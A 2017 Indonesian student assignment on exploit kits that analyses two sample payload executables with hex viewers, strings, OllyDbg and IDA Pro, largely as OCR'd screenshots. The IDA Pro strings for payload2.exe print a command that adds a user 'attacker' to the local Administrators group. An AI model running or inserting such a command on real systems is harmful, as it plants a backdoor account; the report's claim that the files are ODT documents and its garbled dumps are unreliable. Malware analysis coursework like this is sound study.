## Keamanan Jaringan Komputer



### **Disusun Oleh**

Nama : Kusuma Dwi Indriani

NIM: 09011181320017

# JURUSAN SISTEM KOMPUTER FAKULTAS ILMU KOMPUTER UNIVERSITAS SRIWIJAYA 2017

#### **EXPLOIT KIT**

*Exploit kit* merupakan kit perangkat lunak yang dirancang untuk berjalan pada server web, dengan tujuan mengidentifikasi kerentanan perangkat lunak di mesin klien yang sedang berkomunikasi. Tidak hanya mengidentifikasi *exploit kit* juga memiliki tujuan menemukan dan mengeksploitasi kerentanan untuk dapat mengupload serta mengeksekusi kode berbahaya pada klien.

Dalam proses Exploit kit hal yang dilakukan diantaranya adalah mengumpulkan informasi tentang mesin korban, menemukan kerentanan dan menentukan sesuai eksploitasi serta memberikan *malware* yang biasanya secara diam-diam pada klient. Diantara berbagai cara *exploit kit* yang ada salah satunya adalah mengintruksi melalui payload.

Hal yang dibutuhkan saat mengintruksi melalui payload adalah file payload yang telah disiapkan sebelumnya. Pada tugas kali ini hal yang dilakukan adalah menganalisa terhadap kedua file payload :

1. payload.exe

2. payload2.exe

Untuk dapat menganalisa kedua file payload tersebut mebutuhkan dua tools berupa:

- 1. ghex, hexdump, strings (linux)
- 2. ollydbg(win), ida pro(linux,win)

Adapun perintah untuk dapat melihat isi file melalui tool ghex :

#### ghex payload.exe

#### ghex payload2.exe

setelah mengetikkan perintah tersebut maka akan muncul seperti gambar 1 dan gambar 2.

		payload.e	te - GHex		- + ×
File Edit View Windows Help					
	0 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00 00 00 00	00 00 00 00	
0001105300 00 00 00 00				00 00 00 00	
0001102/00 00 00 00 00				00 00 00 00	
				00 00 00 00	
0001122500 00 00 00 00 0				00 00 00 00	
				00 00 00 00	
				00 00 00 00	• • • • • • • • • • • • • • • • • • • •
				00 00 00 00	• • • • • • • • • • • • • • • • • • • •
00011EA100 00 00 00 0					
				00 00 00 00	
00011EDF00 00 00 00 0				00 00 00 00	• • • • • • • • • • • • • • • • • • • •
00011EFE00 00 00 00 0		00 00 00 00 00 00 00 00		00 00 00 00	
00011F1D00 00 00 00 0		00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00 00	00 00 00 00	
00011F3C00 00 00 00 0		00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00	
00011F5B00 00 00 00 0		00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00	
00011F7A00 00 00 00 0		00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00	
00011F9900 00 00 00 0		00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00	
00011FB800 00 00 00 0		00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00	
00011FD700 00 00 00 0	00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00 00 00 00 00	00 00 00 00	
00011FF600 00 00 00 0	00 00 00 00 00 00 4E	42 31 30 00 00 00 00 36	80 C1 4A 01 00 00 00 43	3A 5C 6C 6F	NB106JC:\lo
0001201563 61 6C 30 5	6C 61 73 66 5C 72 65	6C 65 61 73 65 5C 62 75	69 6C 64 2D 32 2E 32 2E	31 34 5C 73 cal0\asf\r	elease\build-2.2.14\s
0001203475 70 70 6F 7	2 74 5C 52 65 6C 65	61 73 65 5C 61 62 2E 70	64 62 00	upport\Rel	ease\ab.pdb.
			Þ		
Signed 8 b	it: 77	Signed 32 bit:	9460301	Hexadecimal:	4D
Unsigned 8 b	it: 77	Unsigned 32 bit	9460301	Octal:	115
Signed 16 b	it: 23117	Float 32 bit:	1,325671e-38	Binary:	01001101
Unsigned 16 b	it: 23117	Float 64 bit:	6,370661e-314	Stream Length:	8 - +
	Show little endian decoding			Show unsigned and float as hexadecimal	
Offset: 0x0					
	and the later of				
🖳 🔜 🛃 📓 📓 HEMA	SISKO FAS [W [Ubrary]	paytoad.exe - G	oc payloads - File	m - File	minai ell 🕬 🖇 😹 12:37

Gambar 1. Hasil file payload.exe menggunakan ghex

payload2.exe-GHex - + x								
File Edit View Windows Help								
000000001F3C E8 82 00 00 00 60 8 0000001F3C 61 7C 02 2C 20 C1C 00000001F3C 20 01 D3 84 91 8E 00000005D7 24 75 E4 58 88 582 00000005D5 53 51 FF E5 00000005D5 53 51 FF E5 00000005D5 54 51 FF E5 00000005D5 6E 67 31 20 2F 41 4 000000F866 6E 69 73 74 72 61 7	89 E5 31 C0 64 88 50 30 88 52 0C 88 CF 00 01 C7 E2 F2 52 57 88 52 10 88 E3 34 49 88 34 88 01 D6 31 FF AC C1 24 01 D3 66 88 0C 48 88 58 1C 01 D3 5A 88 12 E8 05 50A 61 80 85 82 00 90 FF D5 3C 06 7C 0A 80 FB E0 75 05 G3 20 6E 65 74 20 75 73 65 72 20 61 74 44 22 02 62 20 6E 65 74 20 6C 74 6F 72 73 20 61 74 74 61 63 68 65	52 14 88 72 28 0F 87 4A 4 4A 3C 88 4C 11 78 E3 48 (F 00 01 C7 38 E0 75 86 88 04 88 01 D0 99 44 24 00 00 50 68 31 88 6F 87 BB 47 13 72 6F 6A 00 53 74 74 61 63 68 65 72 20 72 20 2F 41 44 44 00	26 31 FF AC1. 10 D1 51 8B cal, 24 5B 58 61 34 24 5B 58 61 34 FF D5 8B 74 720 75 D5 63 60 47 61 6E 74 d.exe /c ne 20 41 64 60 inistrators	d.PO.RRr(J&1 RW.R.J<.L.x.H.O. 4.1BV.S.U.S. 				
Signed 8 bit: -4	Signed 32 bit:	8579324	Hexadecimal:	FC				
Unsigned 8 bit: 252	Unsigned 32 bit:	8579324	Octal:	374				
Signed 16 bit: -5892	Float 32 bit:	1,202219e-38	Binary:	11111100				
Unsigned 16 bit: 59644	Float 64 bit:	-1,587866e-263	Stream Length:	8 - +				
Show little	ttle endian decoding	🗆 S	how unsigned and float as hexadecimal					
Offset: 0x0								
🔟 📰 过 🗵 🔛 😫 (1) HIMASISKO 🔮	🔯 [Library] 💿 payload2.exe 📝 *TUGAS (~/D	oc 🚞 payloads - File 🚞 keamanam	n - File 🖪 Terminal 🛛 📓 Term	ninal 🔐 🕫 🦄 🕸 12:40				

Gambar 2. Hasil file payload2.exe menggunakan ghex

Terlihat dari kedua gambar diatas file ditampilkan dalam bentuk kode-kode pada blok yang menarik. Kode-kode tersebut menandakan bahwa file adalah file ODT(OpenOffice/LibreOffice Document Format). Pada kedua gambar diatas membuktikan bahwa perbedaan kode-kode hexadecimal dalam setiap setiap file. Dari kode-kode hex yang berbeda tersebut kita dapat mengklarifikasi file-file yang dianggap mencurigakan. Multimedia files terkdang memiliki perbedaan daari susunan kode hex-nya karena dipengaruhi oleh multimedia tag yang terkandung dalam badan file multimedia itu sendiri.

Sedangkan perintah untuk dapat melihat isi file melalui string

#### strings payload.exe

#### strings payload2.exe

Isi dari file palyload.exe menggunakan string ditunjukkan pada gambar 3

!This program	cannot	be	run	in	DOS	mode.
Rich Desktop						
.text rash						
`.rdata						
@.data						
. rsrcDocuments						
AH@C						
8SShL@A						
8AG Pictures						
f@?Rh						
h4Y@C						
0?dRPORK						



Dikarenakan menggunakan string file terlalu panjang maka pembacaan isi file di simpan dalam bentuk .txt.

payloadskusuma - Notepad -	
File Edit Format View Help	
This program cannot be run in DOS mode.Rich.text'.rdata@ data.rsrcAM@CSSDL@ABGA(FgNhaV@C@YdRVHW@cHf[?9](@2PM@cAA(RhPVRQteAAKFESatt Vt:SV&G 0000MFHLEF@LUQAtEdh;RjxjfWhGEUQEt'.~][Ph-ffgixPh-fjaWh](hF8JHFBIPjhF8TU UPVQStb=xuxV}[Iq)PWVP6h W@t]ww_0@JAUSUVOgJW#WSJB;qtUyRQH9PhCM*35SS5555]p2[%] 0000MFHLEF@LUQAtEdh;RjxjfWhGEUQEt'.~][Ph-ffgixPh-fjaWh](hF8JHFBIPjhF8TU UPVQStb=xuxV}[Iq)PWVP6h W@t]ww_0@JAUSUVOgJW#WSJB;qtUyRQH9PhCM*35SS5555]p2[%] 0000MFHLEF@LUQAtEdh;RjxjfWhGEUQEt'.~][Ph-ffgixPh-fjaWh](hF8JHFBIPjhF8TU UPVQStb=xuxV}[Iq)PWVP6h W@t]ww_0@JAUSUVOgJW#WSJB;qtUyRQH9PhCM*35SS5555]p2[%] 0000MFHLEF@LUQAtEdh;RjxjfWhGEUQEt'.~][Ph-ffgixPh-fjaWh](hF8JHFBIPjhF8TU UPVQStb=xuxV}].attice_xit_AcptFilter_pinitexv_getmalargs_initexm_setu eKERNEL32.dllAllocateAndInitializEidFreeSiddDVAPI32.dllWSOK32.dllWASAendKSARevKS2.32.dll_stniEmg_strdup%s: Gannot use concurrency level greater than total n falled(be patient)%s[through %s:%3] Benchmarking %s %s: %s (%s)Solend request falledISend request timed outIXs %I64d %	& D;ot `UuuHh_ isermath umber o seconds seconds ults ar rrred: ian=2 %s /tr>     (1) / tr>     (1) / training / tr

Gambar 4. Isi file payload.exe dalam .txt



Gambar 5. Isi file payload2.exe dalam .txt

Dari hasil yang didapat pada file gambar 4 dan 5, isi file dari payload.exe serta payload2.exe yang menggunakan perintah string belum dapat dianalisa bagaimana proses kerja dan skema dikarenakan isi dari file belum terlalu jelas oleh sebab itu diperlukan pembacaan kedua file menggunakan tools lain seperti ollydbg dan ida pro.

Saat menggunakan tools ollydbg untuk melihat proses kerja kedua file banyak detail dari file tersebut dimana file payload.exe lebih banyak detail dibanding file payload2.exe.



Gambar 6. Isi file payload.exe pada detail CPU

Proses kerja file payload.exe dan payload2.exe membutuhkan banyak proses dan pada detail CPU diperlihatkan secara rinci bagaimana proses kerja file payload.exe yang di proses berdasarkan hitungan biner dan dikelompokkan berdasarkan kode-kode blok yang mengandung arti tersendiri di setiap kodenya.





E Executable modules  Ο Ο Σ									
Base         Size           04426060         0001           69640000         0000           69640000         0000           75040000         0000           76110000         0000           76110000         0000           7610000         0000           7610000         0000           76410000         0001           767500000         0001           767840000         0013	e Entry 15000 00495020 07000 69641120 35000 76121450 06000 76121450 06000 76121450 07000 76222433 07000 76444472 04000 767149E5 19000 769D4975 3C000	Name payload WSOCK32 KERNELBA WS2_32 NSI RPCRT4 MSVCRT ADVAPI32 kernel32 sechost ntdll	File version 2.2.14 6.17600.16385 6.17600.16385 6.17600.16385 6.17600.16385 6.17600.16385 6.17600.16385 6.17600.16385 6.17600.16385 6.17600.16385	Path E: \$\support   cads\payload.eve C: \lindows\system32\WSOCK32.dll C: \lindows\system32\WSOCK32.dll C: \lindows\system32\WSC.all C: \lindows\system32\WSC.all C: \lindows\system32\WSC.All C: \lindows\system32\WSUCRT.dll C: \lindows\system32\WSUCRT.dll C: \lindows\system32\WSUCRT.dll C: \lindows\system32\WSUCRT.dll C: \lindows\system32\WSUCRT.dll C: \lindows\SYSTEM32\sechost.dll C: \lindows\SYSTEM32\ntdll.dll	^				



E Execu	Executable modules								
Base	Size	Entry	Name	File version	Path				
0EC70000 707D0000 75D0000 75D20000 75D20000 761F0000 76440000 7660000 7660000 76700000 76700000 76700000 76700000 769D0000 769F0000 77980000 77980000 77980000	000C3000 00003000 00044000 00044000 00044000 0004000 0004000 0004C000 0004C000 0004C000 0004C000 0004000 0004000 00044000 0001000 0001000 0001000 00000000	0EC75095 707D1392 75B35D535D7 761C136C 76222433 76444472 76609209 76669B86 767149E5 7677BDE4 76749E5 7677B0E4 76974957 76471601 7799F7C9 77A51355	ntudm sfc_os sfc NERNELBA LPK RPCRT4 msvcrt GDI32 SHLWAPI ADUAPI32 kernel32 sechost SHELL32 ntdil USER32 IMM32	6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.0628.7601.175 6.1.0628.7601.175 6.1.7608.16385 7.8.7608.16385 7.8.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.16385 6.1.7608.17514 6.1.7608.17514	C: Windows>system32:Ntudn.exe C: Windows:system32:Ntudn.exe C: Windows:system32:NFCHdlRRE.dll C: Windows:system32:NFCHdllRRE.dll C: Windows:system32:NFCHd.dll C: Windows:system32:NFCHd.dll C: Windows:system32:NFCHd.dll C: Windows:system32:NFCHd.dll C: Windows:system32:NFCHdll2: C: Windows:system32:NFCHdll2: C: Windows:system32:NFCHdll2: C: Windows:system32:NFL32: C: Windows:system32: C: Windows:syste	C			

Gambar 9. Isi file payload2.exe pada detail executable modules

Detail Executable modules berisi bagaimana kedua file payload tersebut dijalankan. Dimana terdapat perbedaan lokasi kedua file tersebut dijalankan kecuali bahwa kedua file sama sama dijalankan pada lokasi windows\system32. Tidak hanya tempat kedua file dijalankan tetapi rincian nama dan ukuran dari file tersebut dijalankan juga tertera.

Log Data pada kedua file tidak berbeda jauh dengan detail dari executable modules dimana berisi proses yang dibuat pada sistem oleh kedua file tersebut. Akan tetapi dikarenakan isi kedua file berbeda maka prose yang terjadi pada file juga berbeda. Telihat pada detail paling bawah kedua gmabar 10 dan gambar 11 dianalisa **8 calls to known** pada payload dan **1440 calls to known** pada payload2

L Log d	lata 🕞 🗖 🕰	
Address	Message	
00405620 0040000 75640000 75612000 75612000 75612000 756440000 757420000 757400000 7574000000 75740000000000	OllyDbg v1.10 File 'E: \above yload.exe' New process with 10 B000022 orseted Hain the Starbay load.exe' Hodule C: \windows.ystem32.WSDCK22.dll Hodule C: \windows.ystem32.WSDCK22.dll Hodule C: \windows.ystem32.WSDCK32.dll Hodule C: \windows.ystem32.WSDCK32.dll Hodule C: \windows.ystem32.WSDCK12.dll Hodule C: \windows.ySTEM32.exenost.dll Hodule C: \windows.YSTEM32.exenost.dll Hodule C: \windows.YSTEM32.exenost.dll Hodule C: \windows.YSTEM32.html.dll Program.entry Dollt B hewristical procedures B calls to know, 1 call to guessed functions	

Gambar 10. Isi file payload.exe pada detail Log data

L Log d	ata 🗾 🗖 🗖 🗮
Address	Message
0EC75095 0EC70002 707D0002 707D0002 755H0002 755H0002 765H0002 76550002 7650002 7650002 7650002 77540002 77590002 77590002 86C75095	OliyDbg v1.10 File 'Er\%\payloads\payload2.exe' New process with ID B0000804 created Hain thread with ID 0000047 created Hodu E C:\Windows\system32\sfc.os.DLL Hodu E C:\Windows\system32\sfc.os.DLL Hodu E C:\Windows\system32\sfc.dll Hodu E

Gambar 11. Isi file payload2.exe pada detail Log data

Threads menunjukkan bagaimana kedua file payload tersebut berisi status aktif dan dapat digunakan dalam mengintruksi melalui payload.

T Threa	ds							• <b>×</b>
Ident	Entry	Data block	Last error	Status	Priority	User time	System time	A
000007C4	00405A8D	7FFDF000	ERROR_SUCCESS (00	Active	32 + 0	0.0000 s	0.0156 s	
								-
								-

Gambar 12. Isi file payload.exe pada detail Threads

T Threa	T Threads										
Ident	Entry	Data block	Last error	Status	Priority	User time	System time	A			
0000047C	ØEC75095	7FFDE000	ERROR_SXS_KEY_NOT	Active	32 + 0	0.0000 s	0.0156 s				
								-			
				1	·	1					

Gambar 13. Isi file payload2.exe pada detail Threads

Detail memori map menjelaskan secara rinci skema dari file payload.exe saat di proses. Begitu rinci mulai dari alamat, ukuran file, bentuk file serta akses yang dapat dilakukan. Akan tetapi untuk file payload2.exe detail memory map tidak bisa ditampilkan.

🔆 OllyDi	bg - paylo	ad.exe - [N	lemory m	ap]				
M File	View D	ebug O	otions W	/indow Help	)			
🕞 📢 🛛	X 🕨	1 4 +	1 X I	→ →	LF	MT	WH	C / K B R S 🗄 📰 ?
Address	Size	Owner	Section	Contains	Туре	Access	Initial	Mapped as
		pay load pay load pay load pay load pay load pay load pay load pay load pay load wsocks2 wsock	text text rdata data data data data text data rsrc reloc reloc reloc reloc reloc data	PE header contains stack of ma stack of ma per header code imports data resources PE header code, import data resources resour	L F Hap Priv Priv Map Priv Jimagg Priv Jimagg Jimag	T S G G G G G G G G G G G G G G G G G G	W H I Initial RW RR RW RW RW RW RW RW RW RW RW RW RW	C / K B R S E R ? Mapped as
76288000 76441000 76441000 76441000 76441000 7645000 7678100 7678100 76771000 76771000 7677100 7677100 7677100 7677100 7677100 7677100 76877000 76877000 76877000 76877000 7687100 7687100 7687100 7687100 7687100 7687100 77840000 77841000 77840000 779160000 779160000 779160000 779160000 779160000 779160000 779160000 7791700000 779160000 77917000000 7791700000 77917000000 77917000000 7791700000 77917000000 77917000000 77917000000 76917000000 7691700000 76917000000 76917000000 76917000000 76917000000 76917000000 76917000000 7691700000 76917000000 76917000000 7691700000 76917000000 76917000000 76917000000 76917000000 76917000000 76917000000 76917000000 76917000000 76917000000 76917000000 7791600000 7791600000 7791600000 7791600000000000000000000000000000000000		RPCRT4 MSUCRT MSUCRT MSUCRT MSUCRT MSUCRT MSUCRT MSUCRT MSUCRT ADUAPIS2 ADUAPIS2 kernel32 ker	.rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .text .data .rsrc .text .data .rsrc .text .data .rsrc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .data .rsrc .reloc .text .text .text .text .text .text .text .text .text .text .text .reloc .text .text .text .reloc .text .text .reloc .text	resources relocations PE header code, import deta relocations PE header code, import data resources relocations PE header code, import deta resources relocations PE header code, import data resources relocations PE header code, export data resources relocations	Imaggguna and an	2	RWE RWE RRWE RRWE RRWE RRWE RRWE RRWE R	

Gambar 14. Isi file payload.exe pada detail memory map

Penggunaan tool ollydbg terlihat begitu detail dalam mendeskripsikan bagaimana isi dari file payload.exe dan payload2.exe. Detail yang ditampilkan berupa CPU, executable modules, Log data, Threads, dan memory map. Tools ini menampilkan proses dan skema kedua file dengan begitu baik.

sedangakan isi file dengan menggunakan tools ida pro seperti gambar 15 dan seterusnnya. Untuk keterangan pada gambar isi hampir sama pada saat menggunakan tools ollydbg.

🗐 IDA View-A	Hex View-A	🗎 Exports	🛱 Imports	Names
56 56 56 56 56 56 56 56 56 56 56 56 56 5	eg000 ; eg000 ; +	is generated by ht (c) 2010 by H Licens : 5148D815F3 : C:\payload MS-DC ess: 1000h Rang 3 odel pe: segment byte ; sume c: g 1 sume es:nothing	0 The Interactiv lex-Rays SA, <s red to: Freeward 65 ge: 10100h- gu g, ss:nothing, de</s 	e Disa suppo e vers

Gambar 15. Isi file payload2.exe menggunakan ida pro

🗐 IDA View-A	🔛 Hex View-A	🗎 Exports
seg000:         E 8 0 0 (           seg000:         5 0 8 5 1 8           seg000:         5 0 8 5 1 8           seg000:         1 8 4 3 8 4           seg000:         1 8 4 3 8 4           seg000:         1 8 4 3 8 4           seg000:         0 C 8 4 1 8           seg000:         C 0 0 0 C 3           seg000:         E 5 8 5 2 0           seg000:         E 5 5 5 8 1           seg000:         B 9 F C 3           seg000:         2 6 2 6 6 7           seg000:         2 6 2 6 6 7           seg000:         2 6 2 6 6 7           seg000:         4 4 2 2 2 2           seg000:         7 6 7 7 2 4           seg000:         6 7 7 2 6 7           seg000:         4 0	068 E3C68538 372 0B423FA3 C0 0CEF5585 17 E40C5852 34 8380C3FA E7 F07F3727 DC6 8048510D 842 2555555 E8 56088B00 842 2556556 E8 56088B00 842 256556 E8 56088B00 842 25656666 E8 56088B00 842 256555 E8 56088B00 842 25656666 E8 56088B00 842 25656666 E8 56088B00 842 25656666 E8 56088B00 842 255656666 E8 56088B00 842 255656666 E8 56088B00 856 6662776 E8 56066666 E8 56067776 E8 5666772244	3 ib'eÕ1+ 3 ib'eÕ1+ 3 ah* Ä( 2 +iJ <il⊲xč 3 iÕ:liĭ4ï 3 iÕ:liĩ4ï 3 iÕ:liĩ4ï 3 iÕ:liĩ4ï 3 iÕ:liĩ4ï 3 iõ:liĩ4ï 4 ôcØ i&lt;-Iǹ 2 iiroj.S icm 5 /c net use 4 oker Gant 5 DD &amp;&amp; nel 7 roup Admi 4 ors attack C</il⊲xč 

Gambar 16. Isi file payload2.exe menggunakan ida pro

🗐 IDA View-A 📓 Hex View-A 🏥 Exp	ports 🔀 Imports	N Names ႃ 🧃 Fu
Name	Address	Ordinal
🏦 start	00010100	

Gambar 17. Isi file payload2.exe menggunakan ida pro

🖞 IDA View-A 🛛 🛗 Hex View-A 🎽 Exports 🔀 Imports N Names 🍡 Funct							
Ordinal	Name				Library		
	-A 🔛 H Ordinal	-A 📰 Hex View-A Ordinal Name	-A 🕅 Hex View-A 🎦 Exports Ordinal Name	-A 🔛 Hex View-A 🎦 Exports 🛱 Imports Ordinal Name	-A 📰 Hex View-A 🎦 Exports 🔀 Imports N Names Ordinal Name		

Gambar 18. Isi file payload2.exe menggunakan ida pro

🖹 IDA View-A 🛛 🛗 Hex View-A  🏥 Exports	🛱 Imports	Names
Name	Address	Ρ.
C start	00010100	P

Gambar 19. Isi file payload2.exe menggunakan ida pro

IDA View-A 🔛 Hex View-A 🎦 Exports	🛱 Imports	Names	👔 Functions	ч., P	Strin	gs	ß	Stru	cture:	s <b>E</b> 1	n Enums
Function name	Segment	Start	Length	R	F	L	S	В	T	-	
*∭sub_10186	seg000	00000186	00000002	R							

Gambar 20. Isi file payload2.exe menggunakan ida pro

IDA View	A 🔛 Hex V	iew-A	🛍 Exports 🛱 Imports N Names 🎦 Functions "" Strings 🐧 Structures
Address	Length	Туре	String
"" seg000:	0000005A	С	cmd.exe /c net user attacker Ganteng1 /ADD && net localgroup Administrat

Gambar 21. Isi file payload2.exe menggunakan ida pro

🖹 IDA View-A 🛛 🕮 Hex View-A р Exports 🔀 Imports 🛛 Names 🍞 Functions 📟 Strings	🖇 Structures
📓 🗟 🗙 🖊 🖽 📅	
Ins/Del : create/dele D/A/* : create structure membe N : rename structure or st U : delete structu	

Gambar 22. Isi file payload2.exe menggunakan ida pro



Gambar 23. Isi file payload2.exe menggunakan ida pro